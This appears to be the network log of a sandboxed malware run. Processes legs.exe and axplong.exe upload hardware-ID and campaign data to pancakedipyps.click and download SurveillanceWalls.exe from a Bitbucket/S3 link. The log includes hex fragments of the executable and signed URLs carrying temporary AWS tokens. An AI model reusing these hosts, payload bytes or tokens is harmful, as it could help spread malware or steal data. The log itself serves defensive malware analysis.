2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 4a 54 49 52 66 4d 42 71 64 56 37 31 52 61 53 6e 58 4c 50 5a 44 77 79 48 30 41 35 42 4c 36 31 78 6a 5a 4c 6f 35 46 51 45 68 72 34 45 45 31 6c 63 6c 57 63 73 5a 6d 46 64 79 49 74 31 75 7a 6b 58 4a 4a 50 67 57 33 56 43 33 54 79 4e 72 73 33 68 48 53 32 7a 67 79 51 58 63 47 48 41 61 39 41 43 63 45 45 67 70 30 32 44 45 56 6f 30 77 76 51 79 51 55 36 6b 46 65 79 4f 37 63 55 68 45 49 36 2b 44 44 4d 46 53 4a 46 4c 4c 46 49 56 64 65 53 72 52 5a 73 6c 4e 77 79 76 37 48 4e 74 66 6f 30 55 69 61 66 59 33 44 55 59 30 37 74 46 43 38 46 38 6b 56 38 70 56 6f 6c 46 7a 4a 4e 70 34 67 31 2b 44 4e 72 4d 53 33 42 54 39 42 53 39 71 74 6e 4a 48 52 53 79 70 68 41 66 48 58 79 74 58 77 68 32 5a 56 58 6b 6d 31 47 50 46 51 4d 6f 72 39 67 66 56 58 61 6c 4a 59 79 33 32 66 6c 55 42 64 4f Data Ascii: JTIRfMBqdV71RaSnXLPZDwyH0A5BL61xjZLo5FQEhr4EE1lclWcsZmFdyIt1uzkXJJPgW3VC3TyNrs3hHS2zgyQXcGHAa9ACcEEgp02DEVo0wvQyQU6kFeyO7cUhEI6+DDMFSJFLLFIVdeSrRZslNwyv7HNtfo0UiafY3DUY07tFC8F8kV8pVolFzJNp4g1+DNrMS3BT9BS9qtnJHRSyphAfHXytXwh2ZVXkm1GPFQMor9gfVXalJYy32flUBdO
2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 47 48 41 61 7a 42 36 46 58 48 4d 6a 30 47 6a 4c 52 38 4d 69 2b 42 50 62 55 36 4a 44 4c 6d 75 37 66 45 35 41 4b 4b 53 62 41 63 39 53 4a 56 43 46 57 64 64 56 5a 57 71 46 4c 75 52 4d 35 44 2f 6f 42 38 59 55 75 67 73 36 49 37 46 31 44 52 6c 73 72 59 59 4c 79 31 41 67 56 63 6f 54 6d 56 52 37 4a 39 68 68 79 56 4c 46 49 66 34 65 33 31 2b 33 52 53 35 6e 75 6e 31 46 53 69 62 75 78 30 4c 44 51 47 67 43 68 53 4b 61 58 58 30 70 79 79 37 63 44 74 52 76 39 42 6d 51 44 4f 56 4a 4c 57 4f 35 64 55 46 4b 4a 4b 2b 46 44 4d 4e 64 49 56 4c 4e 42 5a 5a 57 64 53 76 54 59 63 4a 45 79 43 72 33 45 74 52 53 71 67 56 74 49 37 46 68 44 52 6c 73 67 61 34 33 68 6e 6b 53 47 74 70 5a 6a 68 4a 36 4a 70 30 32 67 30 7a 4f 49 2f 73 61 31 6c 32 70 54 79 70 6f 75 6e 4a 4a 54 53 57 72 6a 77 50 Data Ascii: GHAazB6FXHMj0GjLR8Mi+BPbU6JDLmu7fE5AKKSbAc9SJVCFWddVZWqFLuRM5D/oB8YUugs6I7F1DRlsrYYLy1AgVcoTmVR7J9hhyVLFIf4e31+3RS5nun1FSibux0LDQGgChSKaXX0pyy7cDtRv9BmQDOVJLWO5dUFKJK+FDMNdIVLNBZZWdSvTYcJEyCr3EtRSqgVtI7FhDRlsga43hnkSGtpZjhJ6Jp02g0zOI/sa1l2pTypounJJTSWrjwP
2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 4d 49 65 68 56 78 77 4a 64 56 6d 79 6b 48 4a 4b 76 34 54 33 46 36 6b 51 69 31 74 76 6a 6b 44 41 53 75 32 79 56 71 45 65 54 68 42 31 77 47 61 63 33 41 6c 6e 58 47 4e 57 59 30 6f 2f 31 57 49 46 4b 78 58 4a 32 36 6b 63 45 70 50 49 36 32 62 41 38 6c 54 4f 6c 33 4b 45 35 42 65 65 79 58 62 62 38 5a 4b 77 53 6a 32 48 74 39 59 35 51 74 6a 5a 4b 34 35 46 51 45 43 70 5a 6f 56 78 31 59 6a 54 4e 35 58 69 42 78 6b 61 74 70 69 67 78 69 4e 4c 50 67 65 31 46 53 70 52 53 64 75 74 6d 74 43 52 69 75 6e 67 68 44 4f 58 79 39 52 7a 52 79 59 56 47 38 6d 30 33 7a 47 55 74 39 76 76 56 58 58 54 4f 55 64 59 31 57 78 61 56 31 43 62 70 2b 66 41 64 4a 54 4a 56 61 46 43 4e 6c 4c 50 53 33 52 4c 70 73 41 79 79 44 36 46 74 39 56 72 45 6b 75 5a 72 39 38 54 45 63 6f 70 49 4d 43 77 6c 34 70 Data Ascii: MIehVxwJdVmykHJKv4T3F6kQi1tvjkDASu2yVqEeThB1wGac3AlnXGNWY0o/1WIFKxXJ26kcEpPI62bA8lTOl3KE5BeeyXbb8ZKwSj2Ht9Y5QtjZK45FQECpZoVx1YjTN5XiBxkatpigxiNLPge1FSpRSdutmtCRiunghDOXy9RzRyYVG8m03zGUt9vvVXXTOUdY1WxaV1Cbp+fAdJTJVaFCNlLPS3RLpsAyyD6Ft9VrEkuZr98TEcopIMCwl4p
2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 64 56 63 57 71 46 4c 73 42 48 7a 69 37 35 48 4e 78 62 6f 6b 45 78 61 62 46 72 54 45 41 6e 6f 34 55 43 79 56 55 69 57 38 77 61 6d 31 39 36 4c 64 4a 72 67 77 36 4e 4b 4f 74 56 69 42 53 45 53 43 68 76 37 53 4d 4e 58 6d 4b 33 79 51 58 49 47 48 41 61 78 52 32 53 57 48 41 70 30 6d 33 52 51 63 73 39 38 78 6a 61 52 71 39 4f 4a 6d 36 37 64 45 35 48 4b 71 57 46 45 4d 31 59 4b 31 47 46 57 64 64 56 5a 57 71 46 4c 75 42 58 32 79 58 30 47 63 5a 66 70 45 59 31 62 71 59 35 41 77 45 39 71 5a 68 43 6e 45 34 34 54 63 49 49 32 55 73 39 4c 64 45 75 6d 77 44 4c 4a 76 55 53 31 6c 71 33 51 43 56 73 75 58 42 45 52 53 53 74 69 51 62 41 58 79 31 5a 79 52 79 51 55 58 49 75 31 47 44 4b 54 34 31 68 73 78 4c 49 46 50 30 46 41 6e 69 31 64 55 41 42 4d 2b 43 51 51 73 4e 55 61 41 4b 46 47 Data Ascii: dVcWqFLsBHzi75HNxbokExabFrTEAno4UCyVUiW8wam196LdJrgw6NKOtViBSESChv7SMNXmK3yQXIGHAaxR2SWHAp0m3RQcs98xjaRq9OJm67dE5HKqWFEM1YK1GFWddVZWqFLuBX2yX0GcZfpEY1bqY5AwE9qZhCnE44TcII2Us9LdEumwDLJvUS1lq3QCVsuXBERSStiQbAXy1ZyRyQUXIu1GDKT41hsxLIFP0FAni1dUABM+CQQsNUaAKFG
2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 68 79 32 76 45 56 6f 38 61 38 42 76 65 55 37 4d 46 50 46 7a 34 4f 55 4a 62 62 50 61 77 47 34 52 66 4a 42 71 64 56 34 4a 56 66 53 33 48 65 4d 52 4d 33 43 54 2b 47 66 4a 62 6f 6c 4d 67 62 4c 56 6f 52 41 30 6e 6f 38 6c 4d 68 46 38 77 47 70 31 58 75 46 56 72 4b 66 4a 74 30 6b 6d 4e 59 62 4d 53 78 68 54 39 42 52 30 6a 70 48 70 64 51 69 4f 2f 74 30 4b 63 51 52 59 61 7a 67 47 51 51 6e 34 38 31 6d 50 50 55 66 4e 76 71 30 47 43 42 76 63 58 63 58 7a 32 5a 6e 49 50 62 4b 2f 4a 57 76 31 42 61 45 79 46 54 38 55 63 50 54 69 64 4e 6f 4d 48 7a 6a 33 68 45 39 4e 43 70 67 49 64 58 5a 46 76 52 30 59 38 71 5a 34 4e 68 42 5a 6f 56 59 56 50 72 68 4a 30 4c 63 5a 2f 31 55 33 64 4b 4c 4d 71 6e 68 53 39 42 58 73 6a 67 33 70 44 54 79 75 34 6d 45 2f 6a 54 69 4a 64 31 52 43 41 58 54 Data Ascii: hy2vEVo8a8BveU7MFPFz4OUJbbPawG4RfJBqdV4JVfS3HeMRM3CT+GfJbolMgbLVoRA0no8lMhF8wGp1XuFVrKfJt0kmNYbMSxhT9BR0jpHpdQiO/t0KcQRYazgGQQn481mPPUfNvq0GCBvcXcXz2ZnIPbK/JWv1BaEyFT8UcPTidNoMHzj3hE9NCpgIdXZFvR0Y8qZ4NhBZoVYVPrhJ0LcZ/1U3dKLMqnhS9BXsjg3pDTyu4mE/jTiJd1RCAXT
2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 79 45 44 4b 50 2b 55 4f 6e 46 79 6d 58 7a 6c 64 69 46 4a 42 52 79 75 30 6a 67 54 69 65 47 67 55 68 52 6a 58 43 6b 52 71 6c 53 37 38 44 6f 30 33 73 30 32 51 59 61 5a 4c 4c 57 53 67 61 41 42 70 44 35 53 7a 51 4f 68 66 50 52 6a 78 45 49 64 44 64 69 66 52 4c 6f 30 41 79 32 2b 72 52 5a 34 55 6f 56 52 6a 4f 2b 59 72 46 68 52 2f 2b 64 6c 51 32 78 59 78 47 74 4e 58 7a 77 41 7a 61 73 38 75 6d 77 43 4b 4c 4f 45 48 31 6c 65 7a 52 6d 52 64 69 46 35 44 52 69 32 34 6d 52 58 4c 5a 68 5a 50 78 68 6d 5a 56 57 73 37 6e 53 43 44 54 34 31 33 79 6c 57 59 46 4a 6f 4c 59 33 76 32 49 51 31 30 4c 36 43 48 42 64 4a 4a 5a 58 33 4c 45 4a 5a 45 62 54 33 53 4c 6f 30 41 79 32 2b 72 52 35 34 55 6f 56 52 6a 4f 2b 59 72 46 68 52 2f 2b 64 6c 51 32 78 59 78 47 74 4e 58 7a 77 41 7a 61 73 38 Data Ascii: yEDKP+UOnFymXzldiFJBRyu0jgTieGgUhRjXCkRqlS78Do03s02QYaZLLWSgaABpD5SzQOhfPRjxEIdDdifRLo0Ay2+rRZ4UoVRjO+YrFhR/+dlQ2xYxGtNXzwAzas8umwCKLOEH1lezRmRdiF5DRi24mRXLZhZPxhmZVWs7nSCDT413ylWYFJoLY3v2IQ10L6CHBdJJZX3LEJZEbT3SLo0Ay2+rR54UoVRjO+YrFhR/+dlQ2xYxGtNXzwAzas8
2024-12-23 16:16:18 UTC	1369	IN	Data Raw: 6a 6e 77 56 5a 34 55 71 51 56 37 49 37 64 7a 58 55 77 6a 71 63 55 46 33 6c 39 6f 46 49 55 5a 31 77 6f 39 4b 39 64 2b 7a 6b 2f 4b 59 2f 55 62 33 68 53 36 43 7a 6f 6a 6f 44 6b 56 45 6d 4c 75 6d 30 4b 63 47 47 39 5a 31 77 57 52 55 57 73 70 6d 6c 44 39 62 64 38 6f 34 78 61 53 5a 61 68 42 4e 58 61 31 61 55 70 2f 45 6f 4f 62 42 64 52 62 61 6d 76 54 46 4a 64 63 65 6d 71 54 4c 74 73 41 6c 57 2f 65 42 39 64 45 70 67 56 74 49 37 6f 35 46 51 45 68 76 49 34 53 78 78 51 76 51 4d 4a 58 69 42 78 6b 61 73 73 75 6d 78 4f 44 62 2b 46 56 69 42 54 69 53 79 35 69 74 58 64 4f 55 7a 36 6f 69 68 54 48 48 78 5a 6b 36 41 57 51 51 6e 35 6f 37 47 50 48 56 74 67 73 34 78 4c 75 61 6f 68 58 4a 48 4f 31 4f 32 46 47 49 61 4b 33 50 50 4e 4a 4c 30 71 48 4d 5a 52 45 66 6d 71 54 4c 74 73 41 Data Ascii: jnwVZ4UqQV7I7dzXUwjqcUF3l9oFIUZ1wo9K9d+zk/KY/Ub3hS6CzojoDkVEmLum0KcGG9Z1wWRUWspmlD9bd8o4xaSZahBNXa1aUp/EoObBdRbamvTFJdcemqTLtsAlW/eB9dEpgVtI7o5FQEhvI4SxxQvQMJXiBxkassumxODb+FViBTiSy5itXdOUz6oihTHHxZk6AWQQn5o7GPHVtgs4xLuaohXJHO1O2FGIaK3PPNJL0qHMZREfmqTLtsA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49715	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:20 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GZ241KU5ZF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12795 Host: pancakedipyps.click
2024-12-23 16:16:20 UTC	12795	OUT	Data Raw: 2d 2d 47 5a 32 34 31 4b 55 35 5a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 5a 32 34 31 4b 55 35 5a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 5a 32 34 31 4b 55 35 5a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 47 5a 32 34 31 4b 55 35 5a 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --GZ241KU5ZFContent-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--GZ241KU5ZFContent-Disposition: form-data; name="pid"2--GZ241KU5ZFContent-Disposition: form-data; name="lid"FATE99--dec--GZ241KU5ZFContent-Di
2024-12-23 16:16:21 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9pc9unmr6s73u8libobu7nmobm; expires=Fri, 18 Apr 2025 10:02:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rTdTuBxlFa19msJm3pctZyHZaPioFK6p71UaNfgmoNgPgBgrYfn2naMcIdD93nkOwH%2FuwNkZLClxBbpaMundev%2BipnN%2Fm1AdxscYjAYaXkyNHMb9a8h989JXdZyDRp7y%2FgbRUzfe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a7d0c87bf78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1518&rtt_var=593&sent=13&recv=17&lost=0&retrans=0&sent_bytes=2848&recv_bytes=13730&delivery_rate=1923583&cwnd=137&unsent_bytes=0&cid=5455e3839da683b4&ts=1073&x=0"
2024-12-23 16:16:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:16:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49716	185.166.143.48	443	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:22 UTC	96	OUT	GET /mynewworkspace123312/scnd/downloads/SurveillanceWalls.exe HTTP/1.1 Host: bitbucket.org
2024-12-23 16:16:22 UTC	5937	IN	HTTP/1.1 302 Found Date: Mon, 23 Dec 2024 16:16:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/a48cbcec-690c-4ba4-bce5-5d88c4e065f6/SurveillanceWalls.exe?response-content-disposition=attachment%3B%20filename%3D%22SurveillanceWalls.exe%22&AWSAccessKeyId=ASIA6KOSE3BNELRNVGE3&Signature=iyRGzMyHs06SWjlbNXBDydncP%2BQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBEaCXVzLWVhc3QtMSJIMEYCIQDkZNjHObbDjoy6%2FzItPxmQvGTF5W3yOaJjN%2Fp4tdZbxgIhAIpXLdYJb7deLarjJkvEsBQMzp5weu%2BXJMuHbHN8BKszKrACCNn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMOTg0NTI1MTAxMTQ2IgyBBIH%2FwpHyAULlqB0qhAJGL2VB0CUfo17n5NstDiWun3PNMK%2BaOZQCOpoIsopxMjV89xysguwduKcJkW1UujRj41AqoSkfgeQon5d2uShSr9mAGgVVBVYWoWodUc3OSHAgV5K%2BPBVj5XfgRTo9YeP3X8N9IH5KPhUsxpjB61mEL4L0wzQwrziaOaHnGY%2F1kfsMm%2FoLuyRLFtLuM7TgeD%2F4VC1XkcmCS3sHaeTy5zBB2fxNycsJYOlgx6XgVCeF2GG9ExTC%2FNlJ3IqYfAk1JXGVG5eemRQ34w7LRmbgj79FTTN9wGdUQr5jynh8Td38GdcrMh%2BxZ3%2FEaxKo9Z9gX3%2Fh6gLvlUSFIG757U6k98e4aIPW4zDbmKa7BjqcAW4QjVS79LQ%2BP%2FCuwVIM1P2PERlJY3q3SMAKLqd8gb31d2wDWRcO9oEIilGkxLBZMQFwJaMlqkBwoMUGEK% [TRUNCATED] Expires: Mon, 23 Dec 2024 16:16:22 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 20bcb92c5b94 X-Version: c9b3998323c0 X-Static-Version: c9b3998323c0 X-Request-Count: 1604 X-Render-Time: 0.040251970291137695 X-B3-Traceid: ac546614e54c4cf08a6f558d503cfdd0 X-B3-Spanid: a62bd9d96f8593a7 X-Frame-Options: SAMEORIGIN Content-Security-Policy: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.ne [TRUNCATED] X-Usage-Quota-Remaining: 999267.933 X-Usage-Request-Cost: 743.70 X-Usage-User-Time: 0.020792 X-Usage-System-Time: 0.001519 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: ac546614e54c4cf08a6f558d503cfdd0 Atl-Request-Id: ac546614-e54c-4cf0-8a6f-558d503cfdd0 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=148,atl-edge-internal;dur=3,atl-edge-upstream;dur=146,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49717	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:22 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XULJ3HSYPT2A User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15025 Host: pancakedipyps.click
2024-12-23 16:16:22 UTC	15025	OUT	Data Raw: 2d 2d 58 55 4c 4a 33 48 53 59 50 54 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 55 4c 4a 33 48 53 59 50 54 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 55 4c 4a 33 48 53 59 50 54 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 58 55 4c 4a 33 48 53 59 50 54 32 41 0d 0a 43 6f Data Ascii: --XULJ3HSYPT2AContent-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--XULJ3HSYPT2AContent-Disposition: form-data; name="pid"2--XULJ3HSYPT2AContent-Disposition: form-data; name="lid"FATE99--dec--XULJ3HSYPT2ACo
2024-12-23 16:16:23 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0i6l34515co6n105mt2dpukcs8; expires=Fri, 18 Apr 2025 10:03:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RUyL%2FPskxSavlwYGj1qwcltwla8LxiNHrmaXkeX7AHp5xC8xz6fmIfezF3miStkknQiriw%2FZ8hz03GDBhffqkO7e2PzJUKG2xXoyTQOJQD4FHhkQeKwB%2F06A5PxmNgsf6tAE1yIn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a7dfea294217-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1620&rtt_var=621&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2848&recv_bytes=15962&delivery_rate=1741204&cwnd=240&unsent_bytes=0&cid=240bacab5ae24f24&ts=976&x=0"
2024-12-23 16:16:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:16:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49718	3.5.29.203	443	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:25 UTC	1219	OUT	GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/a48cbcec-690c-4ba4-bce5-5d88c4e065f6/SurveillanceWalls.exe?response-content-disposition=attachment%3B%20filename%3D%22SurveillanceWalls.exe%22&AWSAccessKeyId=ASIA6KOSE3BNELRNVGE3&Signature=iyRGzMyHs06SWjlbNXBDydncP%2BQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBEaCXVzLWVhc3QtMSJIMEYCIQDkZNjHObbDjoy6%2FzItPxmQvGTF5W3yOaJjN%2Fp4tdZbxgIhAIpXLdYJb7deLarjJkvEsBQMzp5weu%2BXJMuHbHN8BKszKrACCNn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMOTg0NTI1MTAxMTQ2IgyBBIH%2FwpHyAULlqB0qhAJGL2VB0CUfo17n5NstDiWun3PNMK%2BaOZQCOpoIsopxMjV89xysguwduKcJkW1UujRj41AqoSkfgeQon5d2uShSr9mAGgVVBVYWoWodUc3OSHAgV5K%2BPBVj5XfgRTo9YeP3X8N9IH5KPhUsxpjB61mEL4L0wzQwrziaOaHnGY%2F1kfsMm%2FoLuyRLFtLuM7TgeD%2F4VC1XkcmCS3sHaeTy5zBB2fxNycsJYOlgx6XgVCeF2GG9ExTC%2FNlJ3IqYfAk1JXGVG5eemRQ34w7LRmbgj79FTTN9wGdUQr5jynh8Td38GdcrMh%2BxZ3%2FEaxKo9Z9gX3%2Fh6gLvlUSFIG757U6k98e4aIPW4zDbmKa7BjqcAW4QjVS79LQ%2BP%2FCuwVIM1P2PERlJY3q3SMAKLqd8gb31d2wDWRcO9oEIilGkxLBZMQFwJaMlqkBwoMUGEK%2F51s5YP%2FzcOAINpXb1LFMAVGT6K3jQG4JoWaeM9sO [TRUNCATED] Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-12-23 16:16:25 UTC	571	IN	HTTP/1.1 200 OK x-amz-id-2: BJKo1SCUcJfddqUjkwhxYV8UyuQ+MXmA5lm7E7BwgQVI9t4qbvjTGN0V6OtFCBlA+RYsBXANRYNn1N4OWhLFU2hzkCMyMEA1 x-amz-request-id: BH1Y9AZ8CAZHX36T Date: Mon, 23 Dec 2024 16:16:26 GMT Last-Modified: Sat, 21 Dec 2024 17:42:57 GMT ETag: "5a909c9769920208ed3d4d7279f08de5" x-amz-server-side-encryption: AES256 x-amz-version-id: _x0dJEGtqZZ632AuR88rOwynIhVkb0EN Content-Disposition: attachment; filename="SurveillanceWalls.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Content-Length: 1294445 Server: AmazonS3 Connection: close
2024-12-23 16:16:25 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 76 0b 00 00 42 00 00 af 38 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtvB8
2024-12-23 16:16:25 UTC	453	IN	Data Raw: 00 ff 75 f8 e8 bb f1 ff ff e9 7b 03 00 00 ff 75 fc e8 ae f1 ff ff 33 db 81 7d 0c 05 04 00 00 75 11 89 5d 10 c7 45 14 01 00 00 00 c7 45 0c 0f 04 00 00 83 7d 0c 4e b8 13 04 00 00 74 09 39 45 0c 0f 85 dc 00 00 00 8b 7d 14 39 45 0c 74 0d 81 7f 04 08 04 00 00 0f 85 c7 00 00 00 f7 05 08 eb 47 00 00 02 00 00 75 79 39 45 0c 74 09 8b 4d 14 83 79 08 fe 75 6b 33 c9 39 45 0c 0f 95 c1 51 ff 75 fc e8 f4 fb ff ff 3b c3 7c 56 8b 55 e8 8b c8 69 c9 20 40 00 00 8d 54 11 08 8b 0a f6 c1 10 75 40 f6 c1 40 74 14 81 f1 80 00 00 00 84 c9 79 05 83 c9 01 eb 08 83 e1 fe eb 03 83 f1 01 50 89 0a e8 c2 c4 ff ff a1 08 eb 47 00 33 c9 c1 e8 08 41 f7 d0 23 c1 89 4d 10 89 45 14 c7 45 0c 0f 04 00 00 3b fb 74 3e 81 7f 08 3d fe ff ff 75 0e ff 77 5c 53 68 19 04 00 00 ff 75 fc ff d6 81 7f 08 39 Data Ascii: u{u3}u]EE}Nt9E}9EtGuy9EtMyuk39EQu;\|VUi 